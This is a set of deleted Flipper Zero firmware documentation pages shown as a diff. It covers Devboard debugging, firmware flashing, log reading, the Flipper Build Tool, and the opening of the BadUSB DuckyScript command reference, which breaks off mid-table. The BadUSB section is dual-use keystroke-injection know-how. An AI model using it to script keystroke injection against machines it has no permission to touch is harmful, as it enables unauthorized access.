If everything checks out, append these signals **to the end** of the [A/C universal remote file](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/applications/main/infrared/resources/infrared/assets/ac.ir).
## Final steps
The order of signals is not important, but they should be preceded by the following comment: `# Model: <Your model name>` in order to keep the library organized.
When done, open a pull request containing the changed file.

View File

@@ -1,88 +0,0 @@
# Debugging via the Devboard {#dev_board_debugging_guide}
On this page, you'll learn about how debugging via the Wi-Fi Developer Board works. To illustrate this process, we'll start a debug session for Flipper Zero's firmware in VS Code using the native Flipper Build Tool.
***
## Overview
The Developer Board acts as the debug probe, which provides a bridge between the IDE (integrated development environment) with a debugger running on a host computer and the target microcontroller (in your Flipper Zero). The user controls the debugging process on the computer connected to the Developer Board via [Wi-Fi](#dev_board_wifi_connection) or [USB cable](#dev_board_usb_connection).
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_hardware_CDN.jpg width=700
Data exchange between the Wi-Fi Developer Board and your Flipper Zero is conducted via the Serial Wire Debug interface. The following GPIO pins serve this purpose:
- **Pin 10:** Serial Wire Clock (SWCLK)
- **Pin 12:** Serial Wire Debug Data I/O (SWDIO)
To learn more about Flipper Zero pinout, visit [GPIO & modules in Flipper Docs](https://docs.flipper.net/gpio-and-modules).
***
## Prerequisites
### Step 1. Installing Git
You'll need Git installed on your computer to clone the firmware repository. If you don't have Git, install it following the [official installation guide](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git).
### Step 2. Building the firmware
Before starting debugging, you need to clone and build Flipper Zero firmware:
1. Open the **Terminal** (on Linux & macOS) or **PowerShell** (on Windows) in the directory where you want to store the firmware source code.
2. Clone the firmware repository:
```
git clone --recursive https://github.com/flipperdevices/flipperzero-firmware.git
cd flipperzero-firmware
```
3. Run the **Flipper Build Tool (FBT)** to build the firmware:
```
./fbt
```
***
## Debugging the firmware
From the **flipperzero-firmware** directory that you cloned earlier, run the following command:
```
./fbt flash
```
This will upload the firmware you've just built to your Flipper Zero via the Developer Board. After that, you can start debugging the firmware. We recommend using **VS Code** with the recommended extensions (as described below), and we have pre-made configurations for it.
To debug in **VS Code**, do the following:
1. In VS Code, open the **flipperzero-firmware** directory.
2. You should see a notification about recommended extensions. Install them.
If there were no notifications, open the **Extensions** tab, enter `@recommended` in the search bar, and install the workspace recommendations.
3. Run the `./fbt vscode_dist` command. This will generate the VS Code configuration files needed for debugging.
4. In VS Code, open the **Run and Debug** tab and select a debugger from the dropdown menu:
- **Attach FW (blackmagic):** Can be used via **Wi-Fi** or **USB**
- **Attach FW (DAP):** Can be used via **USB** only
Note that when debugging via USB, you need to make sure the selected debugger matches the debug mode on your Devboard. To check the debug mode on your Devboard, access the Devboard's web interface as described [here](#dev_board_wifi_connection) and check the **USB mode** field. If you want to use a different debug mode, enable this mode by following the steps in [Devboard debug modes](#dev_board_debug_modes).
5. If needed, flash your Flipper Zero with the `./fbt flash` command, then click the ▷ **Start Debugging** button in the debug sidebar to start the debugging session.
6. Note that starting a debug session halts the execution of the firmware, so you'll need to click the I▷ **Continue** button on the toolbar at the top of your VS Code window to continue execution.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_VS_Code.jpg width=900
> [!note]
> If you want to use a different debug mode on your Developer Board, visit [Devboard debug modes](#dev_board_debug_modes).
>
> If you want to read logs via the Developer Board, see [Reading logs via the Devboard](#dev_board_reading_logs).
>
> To learn about debugging in VS Code, see [VS Code official guide](https://code.visualstudio.com/docs/editor/debugging).

View File

@@ -1,33 +0,0 @@
# Devboard debug modes {#dev_board_debug_modes}
The Wi-Fi Devboard for Flipper Zero supports **Black Magic** and **DAPLink** debug modes, and you can switch between them depending on your needs. Note that available modes depend on connection:
- **Wi-Fi:** Only **Black Magic** mode is available.
- **USB:** Switch between **Black Magic** (default) and **DAPLink**. Learn more about switching debug modes for USB connection below.
> [!note]
> Black Magic mode doesn't support RTOS threads, but you can still perform other debugging operations.
***
## Switching debug modes for USB connection
Switching debug modes for working via USB has to be done wirelessly (yes, you read that correctly). Additionally, depending on how the Devboard wireless connection is configured, you may need to follow different steps for **Wi-Fi access point mode** or **Wi-Fi client mode**:
1. If the Devboard isn't connected to your Flipper Zero, turn off your Flipper Zero and connect the Developer Board, then turn the device back on.
2. Access the Devboard's web interface:
- [Wi-Fi access point mode](#wifi-access-point)
- [Wi-Fi client mode](#wifi-client-mode)
3. In the **WiFi** tab, click the **USB mode** option and select **BlackMagicProbe** or **DapLink**.
4. Click **SAVE**, then click **REBOOT** to apply the changes.
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_switching_modes_CDN.jpg width=700
> [!note]
> After switching debug modes on your Devboard, remember to select the same debugger in **VS Code** in the **Run and Debug** tab, and click the ▷ **Start Debugging** button.

View File

@@ -1,121 +0,0 @@
# Firmware update on Developer Board {#dev_board_fw_update}
It's important to regularly update your Developer Board to ensure that you have access to the latest features and bug fixes. This page will guide you through the necessary steps to update the firmware of your Developer Board.
> [!note]
> This guide assumes that you're familiar with the basics of the command line. If you're new to it, we recommend checking out these [Windows](https://learn.microsoft.com/en-us/powershell/scripting/learn/ps101/01-getting-started?view=powershell-7.4) or [macOS/Linux](https://ubuntu.com/tutorials/command-line-for-beginners#1-overview) command line tutorials.
If youre not, please refer to the [Windows](https://www.digitalcitizen.life/command-prompt-how-use-basic-commands/) or [MacOS / Linux](https://ubuntu.com/tutorials/command-line-for-beginners#1-overview) command line tutorials.
## Step 1. Install the micro Flipper Build Tool
[micro Flipper Build Tool (uFBT)](https://pypi.org/project/ufbt/) is a cross-platform tool developed and supported by our team that enables basic development tasks for Flipper Zero, such as building and debugging applications, flashing firmware, creating VS Code development configurations, and flashing firmware to the Wi-Fi Developer Board.
**On Linux & macOS:**
1. Open a terminal.
2. Install `pipx` by following the instructions on the [official website](https://pipx.pypa.io/stable/installation/).
3. Restart the terminal.
4. Install `ufbt`:
```
pipx install ufbt
```
**On Windows:**
1. Download the latest version of Python on [the official website](https://www.python.org/downloads/windows/) and install it.
2. Open PowerShell.
3. Install `pipx`:
```
py -m pip install --user pipx
```
4. Add `pipx` to PATH:
```
py -m pipx ensurepath
```
5. Restart PowerShell.
6. Install `ufbt`:
```
pipx install ufbt
```
***
## Step 2. Connect the Devboard to PC
To update the firmware, you need to switch your Developer Board to Bootloader mode, connect to a PC via a USB cable, and make sure that the PC detects the Developer Board:
1. List all of the serial devices on your computer.
- **macOS:** Run the `ls /dev/cu.*` command in the Terminal.
- **Linux:** Run the `ls /dev/tty*` command in the Terminal.
- **Windows:** Go to **Device Manager** and expand the **Ports (COM & LPT)** section.
2. Connect the Developer Board to your computer using a USB-C cable.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_update_wired_connection.jpg width=700
3. Switch your Developer Board to Bootloader mode:
3.1. Press and hold the **BOOT** button.
3.2. Press and release the **RESET** button while holding the **BOOT** button.
3.3. Release the **BOOT** button.
\image html https://cdn.flipper.net/Flipper_Zero_devboard_bootloader.jpg width=700
4. Repeat the first command above (listing serial devices) and view the name of your Developer Board that appeared in the list.
***
## Step 3. Flash the firmware
**On Linux & macOS:**
```
python3 -m ufbt devboard_flash
```
**On Windows:** Run the following command in PowerShell:
```
py -m ufbt devboard_flash
```
You should see the following message: `WiFi board flashed successfully`.
### If flashing fails
Occasionally, you might get an error message during the flashing process, such as:
```
A fatal error occurred: Serial data stream stopped: Possible serial noise or corruption.
```
*or*
```
FileNotFoundError: [Errno 2] No such file or directory: '/dev/cu.usbmodem01'
```
To fix it, try doing the following:
- Disconnect the Developer Board from your computer, then reconnect it. After that, switch your Developer Board to Bootloader mode once again, as described in Step 2.
- Use a different USB port on your computer.
- Use a different USB-C cable.
***
## Step 4. Finish the installation
1. Reboot the Developer Board by pressing the **RESET** button.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_reboot_after_flashing.jpg width=700
2. Disconnect and reconnect the USB-C cable.
You've successfully updated the firmware of your Developer Board!
If you followed the **Get started with the Devboard** guide, you're ready for the next step: [Step 3. Plug the Devboard into Flipper Zero](#dev_board_get_started_step-3).

View File

@@ -1,80 +0,0 @@
# Get started with the Devboard {#dev_board_get_started}
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_developer_board_box_CDN.jpg width=700
Before you start using your Devboard, you need to prepare your Flipper Zero and Devboard for debugging. In this guide, we'll walk you through all the necessary steps and provide links to explore the Devboard's capabilities further.
***
## Step 1. Enable Debug Mode on your Flipper Zero
Since the main purpose of the Developer board is to debug applications on Flipper Zero, you first need to enable Debug Mode. To do so, go to **Settings → System** and set **Debug** to **ON**.
\image html https://cdn.flipperzero.one/Flipper_Zero_enamble_debug_CDN.jpg width=700
> [!note]
> Debug Mode needs to be re-enabled after each update of Flipper Zero's firmware.
Debug Mode allows you to debug your apps for Flipper Zero, as well as access debugging options in apps via the user interface and CLI. To learn more about Flipper Zero CLI, visit [Command-line interface in Flipper Docs](https://docs.flipper.net/development/cli).
\image html https://cdn.flipperzero.one/Flipper_Zero_Command_Line_Interface_CDN.jpg width=700
***
## Step 2. Update firmware on the Developer Board
The Developer Board comes with stock firmware that may not include all the latest features and bug fixes. To ensure optimal performance, please update your board's firmware using the instructions in [Firmware update on Devboard](#dev_board_fw_update).
***
## Step 3. Plug the Devboard into Flipper Zero {#dev_board_get_started_step-3}
Once your Developer Board firmware is up to date, you can proceed to plug it into your Flipper Zero. Two important things to keep in mind:
1. **Power off your Flipper Zero before plugging in the Developer Board.**
If you skip this step, you may corrupt the data stored on the microSD card. Connecting external modules with a large capacitive load may affect the microSD card's power supply since both the microSD card and external module are powered from the same 3.3 V power source inside Flipper Zero.
2. **Make sure the Developer Board is inserted all the way in.**
If your Flipper Zero isn't in a silicone case, insert the module all the way in so there is no gap between your Flipper Zero and the Devboard. You may need to apply more force to insert it completely. After that, press and hold the **BACK** button to power on your Flipper Zero.
\image html https://cdn.flipperzero.one/Flipper_Zero_external_module_without_case_CDN.jpg width=700
If your Flipper Zero is in a silicone case, insert the module all the way in so there is no gap in the middle between the silicone case and the module. After that, press and hold the **BACK** button to power on your Flipper Zero.
\image html https://cdn.flipperzero.one/Flipper_Zero_external_module_with_case_CDN.jpg width=700
***
## Step 4. Connect to a computer
Now, you can connect the Developer Board to your computer via USB or Wi-Fi, depending on your needs. We described both methods in separate documents:
- **[Via USB cable](#dev_board_usb_connection)** for debugging in DAP Link or Black Magic mode, and reading logs.
- [Via Wi-Fi](#dev_board_wifi_connection) for debugging in Black Magic mode.
***
## Next steps
You are ready to debug now! To further explore what you can do with the Devboard, check out these pages:
- [Debugging via the Devboard](#dev_board_debugging_guide)
- [Devboard debug modes](#dev_board_debug_modes)
- [Reading logs via the Devboard](#dev_board_reading_logs)
These guides should help you get started with your Devboard. If you have any questions or you want to share your experience, don't hesitate to join our community on [Reddit](https://www.reddit.com/r/flipperzero/) and [Discord](https://discord.com/invite/flipper), where we have a dedicated #wifi-devboard channel.

View File

@@ -1,136 +0,0 @@
# Reading logs via the Devboard {#dev_board_reading_logs}
The Developer Board allows you to read Flipper Zero logs via UART. Unlike reading logs via the command-line interface (CLI), the Developer Board enables you to collect logs from the device directly to a serial console independently from the operating system of Flipper Zero. It allows you to see the device's logs when it's loading, updating, or crashing. It's useful for debugging and troubleshooting during software development.
> [!NOTE]
>
> Flipper Zero logs can only be viewed when the developer board is connected via USB.
> The option to view logs over Wi-Fi will be added in future updates.
## Setting the log level
Depending on your needs, you can set the log level by going to **Main Menu → Settings → Log Level**. To learn more about logging levels, visit [Settings](https://docs.flipper.net/basics/settings#d5TAt).
\image html https://cdn.flipperzero.one/Flipper_Zero_log_level.jpg "You can manually set the preferred log level" width=700
## Viewing Flipper Zero logs
Depending on your operating system, you need to install an additional application on your computer to read logs via the Developer Board:
### macOS
On macOS, you need to install the **minicom** communication program by doing the following:
1. [Install Homebrew](https://brew.sh/) by running the following command in the Terminal:
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
2. After installation of Homebrew, run the following command to install `minicom`:
```bash
brew install minicom
```
After installation of `minicom` on your macOS computer, you can connect to the Developer Board to read Flipper Zero logs by doing the following:
1. Cold-plug the Developer Board into your Flipper Zero by turning off the Flipper Zero, connecting the developer board, and then turning it back on.
2. On your computer, open the Terminal and run the following command:
```bash
ls /dev/cu.*
```
> [!NOTE]
>
> The list of devices.
3. Connect the developer board to your computer using a USB Type-C cable.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_developer_board_wired.png width=700
4. Rerun the command. Two new devices have to appear: this is the Developer Board.
```text
/dev/cu.usbmodemblackmagic1
```
```bash
/dev/cu.usbmodemblackmagic3
```
> [!NOTE]
>
> Your Developer Board might have different names.
6. Run the following command:
```bash
minicom -D /dev/<port> -b 230400
```
Where `<port>` is the name of your device with a bigger number.
Example:
```bash
minicom -D /dev/cu.usbmodemblackmagic3 -b 230400
```
7. View logs of your Flipper Zero in the Terminal.
8. To quit, close the `minicom` window or quit via the `minicom` menu.
### Linux
On Linux, you need to install the `minicom` communication program. For example, on Ubuntu, run in the Terminal the following command:
```bash
sudo apt install minicom
```
After installation of `minicom` on your Linux computer, you can connect to the Developer Board to read Flipper Zero logs by doing the following:
1. Cold-plug the Developer Board into your Flipper Zero by turning off the Flipper Zero, connecting the developer board, and then turning it back on.
2. On your computer, open the Terminal and run the following command:
```bash
ls /dev/tty*
```
Note the list of devices.
3. Connect the developer board to your computer using a USB Type-C cable.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_developer_board_wired.png width=700
4. Rerun the command. Two new devices have to appear: this is the Developer Board.
```bash
/dev/ttyACM0
```
```bash
/dev/ttyACM1
```
> [!NOTE]
>
> Your Developer Board might have different names.
5. Run the following command:
```bash
minicom -D /dev/<port> -b 230400
```
Where `<port>` is the name of your device with a bigger number.
Example:
```bash
minicom -D /dev/cu.usbmodemblackmagic3 -b 230400
```
6. View logs of your Flipper Zero in the Terminal.
> [!NOTE]
>
> If no logs are shown in the Terminal,
> try running the command from Step 5 with another device name.
>
7. To quit, close the minicom window or quit via the minicom menu.
### Windows
On Windows, do the following:
1. On your computer, [install the PuTTY application](https://www.chiark.greenend.org.uk/\~sgtatham/putty/latest.html).
2. Cold-plug the Developer Board into your Flipper Zero by turning off the Flipper Zero, connecting the developer board, and then turning it back on.
3. Connect the developer board to your computer using a USB Type-C cable.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_developer_board_wired.png width=700
4. Find the serial port that the developer board is connected to by going to **Device Manager → Ports (COM & LPT)** and looking for a new port that appears when you connect the Wi-Fi developer board.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_Device_Manager.png width=700
5. Run the PuTTY application and select **Serial** as the connection type.
6. Enter the port number you found in the previous step into the **Serial line** field.
7. Set the **Speed** parameter to **230400** and click **Open**.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_PuTTy.jpg width=700
8. View logs of your Flipper Zero in the PuTTY terminal window.
9. To quit, close the PuTTY window.

View File

@@ -1,22 +0,0 @@
# USB connection to the Devboard {#dev_board_usb_connection}
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_USB_connection_CDN.jpg width=700
To connect to the Developer Board via USB, do the following:
1. If the Devboard isn't connected to your Flipper Zero, turn off your Flipper Zero and connect the Developer Board to it. Then, turn your Flipper Zero back on.
2. On your computer, check the list of serial devices.
- **macOS:** On your computer, run `ls /dev/cu.*` in the Terminal.
- **Linux:** On your computer, run `ls /dev/tty*` in the Terminal.
- **Windows:** Go to **Device Manager** and expand the **Ports (COM & LPT)** section.
3. Connect the Devboard to your computer via a USB-C cable.
4. Repeat **Step 2**. Two new devices will appear — this is the Developer Board.
> [!warning]
> If the Developer Board doesn't appear in the list of devices, try using a different cable, USB port, or computer.

View File

@@ -1,59 +0,0 @@
# Wi-Fi connection to the Devboard {#dev_board_wifi_connection}
You can connect to the Developer Board wirelessly in two ways:
- **Wi-Fi access point mode (default):** The Devboard creates its own Wi-Fi network, which you can connect to in order to access its web interface and debug via Wi-Fi. The downside is that you will need to disconnect from your current Wi-Fi network, resulting in a loss of internet connection.
- **Wi-Fi client mode:** You can connect to the Devboard through an existing Wi-Fi network, allowing you to access the Devboard web interface and debug via Wi-Fi without losing your internet connection.
Let's go over both of these modes below.
***
## Wi-Fi access point (AP) mode {#wifi-access-point}
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_Access_Point_CDN.jpg width=700
Out of the box, the Developer Board is configured to work as a Wi-Fi access point. To connect the Developer Board in this mode, do the following:
1. Plug the Wi-Fi Devboard into your Flipper Zero by turning off your Flipper Zero and connecting the Developer Board, and then turning it back on.
2. Open Wi-Fi settings on your client device (phone, laptop, or other).
3. Connect to the network:
Name: `blackmagic`
Password: `iamwitcher`
If your computer fails to find the **blackmagic** network, read the [troubleshooting section](#wifi-access-point_troubleshooting) below.
4. To access the Devboard's web interface, open a browser and go to <http://192.168.4.1> or <http://blackmagic.local>.
### If your computer fails to find the black magic network {#wifi-access-point_troubleshooting}
- Reset Wi-Fi connection on your computer.
- The Developer Board is probably configured to work in Wi-Fi client mode. → Reset your Developer Board settings to default by pressing and holding the **BOOT** button for **10 seconds**, then wait for the Devboard to reboot. After the reset, the Devboard will work in Wi-Fi access point mode.
\image html https://cdn.flipperzero.one/Flipper_Zero_Wi-Fi_devboard_reboot.jpg width=700
***
## Wi-Fi client (STA) mode {#wifi-client-mode}
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_STA_CDN.jpg width=700
To connect the Developer Board in **Wi-Fi client** mode, you need to configure it to connect to your Wi-Fi network by doing the following:
1. Plug the Wi-Fi Devboard into your Flipper Zero by turning off your Flipper Zero and connecting the Developer Board, and then turning the device back on.
2. Connect to the Developer Board in [Wi-Fi access point](#wifi-access-point) mode.
3. In a browser, go to the Devboard's web interface at <http://192.168.4.1> or <http://blackmagic.local>.
4. Select the **STA** mode and enter your network's **SSID** (name) and **password**. For convenience, you can click the **+** button to see the list of nearby 2.4 GHz networks (5 GHz networks aren't supported).
5. Save the configuration and reboot the Developer Board.
\image html https://cdn.flipperzero.one/Flipper_Zero_WiFi_devboard_connect_to_WiFi_CDN.jpg width=700
6. Now, you can access the Devboard's web interface at [http://blackmagic.local](https://blackmagic.local) via the existing Wi-Fi network without losing connection to the internet.

View File

@@ -1,155 +0,0 @@
# Flipper Build Tool {#fbt}
FBT is the entry point for firmware-related commands and utilities.
It is invoked by `./fbt` in the firmware project root directory. Internally, it is a wrapper around [scons](https://scons.org/) build system.
If you don't need all features of `fbt` — like building the whole firmware — and only want to build and debug a single app, you can use [ufbt](https://pypi.org/project/ufbt/).
## Environment
To use `fbt`, you only need `git` installed in your system.
`fbt` by default downloads and unpacks a pre-built toolchain, and then modifies environment variables for itself to use it.
It does not contaminate your global system's path with the toolchain.
> [!NOTE]
>
> However, if you wish to use tools supplied with the toolchain outside `fbt`,
> you can open an *fbt shell*, with properly configured environment.
>
> - On Windows, simply run `scripts/toolchain/fbtenv.cmd`.
> - On Linux & MacOS, run `source scripts/toolchain/fbtenv.sh` in a new shell.
> - You can also type ```. `./fbt -s env` ``` in your shell. (Keep the "." at the beginning.)
If your system is not supported by pre-built toolchain variants or you want to use custom versions of dependencies, you can `set FBT_NOENV=1`.
`fbt` will skip toolchain & environment configuration and will expect all tools to be available on your system's `PATH`. *(this option is not available on Windows)*
If `FBT_TOOLCHAIN_PATH` variable is set, `fbt` will use that directory to unpack toolchain into. By default, it downloads toolchain into `toolchain` subdirectory repo's root.
If you want to enable extra debug output for `fbt` and toolchain management scripts, you can `set FBT_VERBOSE=1`.
`fbt` always performs `git submodule update --init` on start, unless you set `FBT_NO_SYNC=1` in the environment:
- On Windows, it's `set "FBT_NO_SYNC=1"` in the shell you're running `fbt` from
- On \*nix, it's `$ FBT_NO_SYNC=1 ./fbt ...`
> [!NOTE]
>
> There are more variables controlling basic `fbt` behavior.
> See `fbt` & `fbtenv` scripts' sources for details.
>
## Invoking FBT
To build with FBT, call it and specify configuration options & targets to build. For example:
`./fbt COMPACT=1 DEBUG=0 VERBOSE=1 updater_package copro_dist`
To run cleanup (think of `make clean`) for specified targets, add the `-c` option.
## Build directories
`fbt` builds updater & firmware in separate subdirectories in `build`, and their names depend on optimization settings (`COMPACT` & `DEBUG` options).
However, for ease of integration with IDEs, the latest built variant's directory is always linked as `built/latest`.
Additionally, `compile_commands.json` is generated in that folder (it is used for code completion support in IDEs).
`build/latest` symlink & compilation database are only updated upon *firmware build targets* — that is, when you're re-building the firmware itself. Running other tasks, like firmware flashing or building update bundles *for a different debug/release configuration or hardware target*, does not update `built/latest` dir to point to that configuration.
Running other tasks, like firmware flashing or building update bundles *for a different debug/release configuration or hardware target*, does not update `built/latest` dir to point to that configuration.
## VSCode integration
`fbt` includes basic development environment configuration for VS Code. Run `./fbt vscode_dist` to deploy it. That will copy the initial environment configuration to the `.vscode` folder. After that, you can use that configuration by starting VS Code and choosing the firmware root folder in the "File > Open Folder" menu.
That will copy the initial environment configuration to the `.vscode` folder.
After that, you can use that configuration by starting VSCode and choosing the firmware root folder in the <kbd>File > Open Folder</kbd> menu.
To use language servers other than the default VS Code C/C++ language server, use `./fbt vscode_dist LANG_SERVER=<language-server>` instead.
Currently `fbt` supports the default language server (`cpptools`) and `clangd`.
- On the first start, you'll be prompted to install recommended plugins. We highly recommend installing them for the best development experience. _You can find a list of them in `.vscode/extensions.json`._
- Basic build tasks are invoked in the <kbd>Ctrl + Shift + B</kbd> menu.
- Debugging requires a supported probe. That includes:
- Wi-Fi Devboard with stock firmware (blackmagic).
- ST-Link and compatible devices.
- J-Link for flashing and debugging (in VSCode only). _Note that J-Link tools are not included with our toolchain and you have to [download](https://www.segger.com/downloads/jlink/) them yourself and put them on your system's `PATH`.
- Without a supported probe, you can install firmware on Flipper using the USB installation method.
## FBT targets
`fbt` keeps track of internal dependencies, so you only need to build the highest-level target you need, and `fbt` will make sure everything they depend on is up-to-date.
### High-level (what you most likely need)
- `fw_dist` — build & publish firmware to the `dist` folder. This is a default target when no others are specified.
- `fap_dist` — build external plugins & publish to the `dist` folder.
- `updater_package`, `updater_minpackage` — build a self-update package. The minimal version only includes the firmware's DFU file; the full version also includes a radio stack & resources for the SD card.
- `copro_dist` — bundle Core2 FUS+stack binaries for qFlipper.
- `flash` — flash the attached device over SWD interface with supported probes. Probe is detected automatically; you can override it with `SWD_TRANSPORT=...` variable. If multiple probes are attached, you can specify the serial number of the probe to use with `SWD_TRANSPORT_SERIAL=...`.
- `flash_usb`, `flash_usb_full` — build, upload and install the update package to the device over USB. See details on `updater_package` and `updater_minpackage`.
- `debug` — build and flash firmware, then attach with gdb with firmware's .elf loaded.
- `debug_other`, `debug_other_blackmagic` — attach GDB without loading any `.elf`. It will allow you to manually add external `.elf` files with `add-symbol-file` in GDB.
- `updater_debug` — attach GDB with the updater's `.elf` loaded.
- `devboard_flash` — Update WiFi dev board. Supports `ARGS="..."` to pass extra arguments to the update script, e.g. `ARGS="-c dev"`.
- `blackmagic` — debug firmware with Blackmagic probe (WiFi dev board).
- `openocd` — just start OpenOCD. You can pass extra arguments with `ARGS="..."`.
- `get_blackmagic` — output the blackmagic address in the GDB remote format. Useful for IDE integration.
- `get_stlink` — output serial numbers for attached STLink probes. Used for specifying an adapter with `SWD_TRANSPORT_SERIAL=...`.
- `lint`, `format` — run clang-format on the C source code to check and reformat it according to the `.clang-format` specs. Supports `ARGS="..."` to pass extra arguments to clang-format.
- `lint_py`, `format_py` — run [black](https://black.readthedocs.io/en/stable/index.html) on the Python source code, build system files & app manifests. Supports `ARGS="..."` to pass extra arguments to black.
- `lint_img`, `format_img` — check the image assets for errors and format them. Enforces color depth and strips metadata.
- `lint_all`, `format_all` — run all linters and formatters.
- `firmware_pvs` — generate a PVS Studio report for the firmware. Requires PVS Studio to be available on your system's `PATH`.
- `doxygen` — generate Doxygen documentation for the firmware. `doxy` target also opens web browser to view the generated documentation.
- `cli` — start a Flipper CLI session over USB.
### Firmware targets
- `faps` — build all external & plugin apps as [`.faps`](AppsOnSDCard.md).
- `fbt` also defines per-app targets. For example, for an app with `appid=snake_game` target names are:
- `fap_snake_game`, etc. — build single app as `.fap` by its app ID.
- Check out [--extra-ext-apps](#command-line-parameters) for force adding extra apps to external build.
- `fap_snake_game_list`, etc — generate source + assembler listing for app's `.fap`.
- `flash`, `firmware_flash` — flash the current version to the attached device over SWD.
- `jflash` — flash the current version to the attached device with JFlash using a J-Link probe. The JFlash executable must be on your `$PATH`.
- `firmware_all`, `updater_all` — build a basic set of binaries.
- `firmware_list`, `updater_list` — generate source + assembler listing.
- `firmware_cdb`, `updater_cdb` — generate a `compilation_database.json` file for external tools and IDEs. It can be created without actually building the firmware.
### Assets
- `resources` — build resources and their manifest files
- `dolphin_ext` — process dolphin animations for the SD card
- `icons` — generate `.c+.h` for icons from PNG assets
- `proto` — generate `.pb.c+.pb.h` for `.proto` sources
- `proto_ver` — generate `.h` with a protobuf version
- `dolphin_internal`, `dolphin_blocking` — generate `.c+.h` for corresponding dolphin assets
## Command-line parameters {#command-line-parameters}
- `--options optionfile.py` (default value `fbt_options.py`) — load a file with multiple configuration values
- `--extra-int-apps=app1,app2,appN` — force listed apps to be built as internal with the `firmware` target
- `--extra-ext-apps=app1,app2,appN` — force listed apps to be built as external with the `firmware_extapps` target
- `--extra-define=A --extra-define=B=C ` — extra global defines that will be passed to the C/C++ compiler, can be specified multiple times
- `--proxy-env=VAR1,VAR2` — additional environment variables to expose to subprocesses spawned by `fbt`. By default, `fbt` sanitizes the execution environment and doesn't forward all inherited environment variables. You can find the list of variables that are always forwarded in the `environ.scons` file.
## Configuration
Default configuration variables are set in the configuration file: `fbt_options.py`.
Values set in the command line have higher precedence over the configuration file.
You can also create a file called `fbt_options_local.py` that will be evaluated when loading default options file, enabling persistent overriding of default options without modifying default configuration.
You can find out available options with `./fbt -h`.
### Firmware application set
You can create customized firmware builds by modifying the list of apps to be included in the build. App presets are configured with the `FIRMWARE_APPS` option, which is a `map(configuration_name:str → application_list:tuple(str))`. To specify an app set to use in the build, set `FIRMWARE_APP_SET` to its name.
For example, to build a firmware image with unit tests, run `./fbt FIRMWARE_APP_SET=unit_tests`.
Check out `fbt_options.py` for details.

View File

@@ -1,207 +0,0 @@
# BadUSB File Format {#badusb_file_format}
## Command syntax
BadUsb app uses extended DuckyScript syntax.
It is compatible with classic USB Rubber Ducky 1.0 scripts but provides some additional commands and features,
such as custom USB ID, `ALT` + `Numpad` input method, `SYSRQ` command, and more functional keys.
## Script file format
BadUsb app can execute only text scripts from `.txt` files, no compilation is required. Both `\n` and `\r\n` line endings are supported. Empty lines are allowed. You can use spaces or tabs for line indentation.
## Command set
### Comment line
Just a single comment line. The interpreter will ignore all text after the `REM` command.
| Command | Parameters | Notes |
|:---------|:--------------|:--------|
| REM | Comment text | |
### Delay
Pause script execution by a defined time.
| Command | Parameters | Notes |
|:--------------|:--------------------------|:--------------------------------------|
| DELAY | Delay value in ms | Single delay |
| DEFAULT_DELAY | Delay value in ms | Add delay before every next command |
| DEFAULTDELAY | Delay value in ms | Same as DEFAULT_DELAY |
### Special keys
| Command | Notes |
|:--------------------|:------------------|
| DOWNARROW / DOWN | |
| LEFTARROW / LEFT | |
| RIGHTARROW / RIGHT | |
| UPARROW / UP | |
| ENTER | |
| DELETE | |
| BACKSPACE | |
| END | |
| HOME | |
| ESCAPE / ESC | |
| INSERT | |
| PAGEUP | |
| PAGEDOWN | |
| CAPSLOCK | |
| NUMLOCK | |
| SCROLLLOCK | |
| PRINTSCREEN | |
| BREAK | Pause/Break key |
| PAUSE | Pause/Break key |
| SPACE | |
| TAB | |
| MENU | Context menu key |
| APP | Same as MENU |
| Fx | F1-F12 keys |
### Modifier keys
The following modifier keys are recognized:
| Command | Notes |
| ------- | ------------ |
| CTRL | |
| CONTROL | Same as CTRL |
| SHIFT | |
| ALT | |
| GUI | |
| WINDOWS | Same as GUI |
You can chain multiple modifier keys together using hyphens (`-`) or spaces.
## Key hold and release
Up to 5 keys can be hold simultaneously.
| Command | Parameters | Notes |
|:---------|:---------------------------------|:------------------------------------------|
| HOLD | Special key or single character | Press and hold key until RELEASE command |
| RELEASE | Special key or single character | Release key |
## String
| Command | Parameters | Notes |
|:----------|:-------------|:--------------------------------------------|
| STRING | Text string | Print text string |
| STRINGLN | Text string | Print text string and press enter after it |
## String delay
Delay between key presses.
| Command | Parameters | Notes |
|:----------------------|:-------------------|:-----------------------------------------------|
| STRING_DELAY | Delay value in ms | Applied once to next appearing STRING command |
| STRINGDELAY | Delay value in ms | Same as STRING_DELAY |
| DEFAULT_STRING_DELAY | Delay value in ms | Apply to every appearing STRING command |
| DEFAULTSTRINGDELAY | Delay value in ms | Same as DEFAULT_STRING_DELAY |
### Repeat
| Command | Parameters | Notes |
|:---------|:------------------------------|:-------------------------|
| REPEAT | Number of additional repeats | Repeat previous command |
### ALT+Numpad input
On Windows and some Linux systems, you can print characters by holding `ALT` key and entering its code on Numpad.
| Command | Parameters | Notes |
| :---------- | :--------------- | :--------------------------------------------------------------- |
| ALTCHAR | Character code | Print single character |
| ALTSTRING | Text string | Print text string using ALT+Numpad method |
| ALTCODE | Text string | Same as ALTSTRING, presents in some DuckyScript implementations |
### SysRq
Send [SysRq command](https://en.wikipedia.org/wiki/Magic_SysRq_key)
| Command | Parameters | Notes |
|:---------|:------------------|:-------|
| SYSRQ | Single character | |
## Media keys
Some Media/Consumer Control keys can be pressed with `MEDIA` command
| Command | Parameters | Notes |
|:---------|:---------------------------|:------|
| MEDIA | Media key, see list below | |
| Key name | Notes |
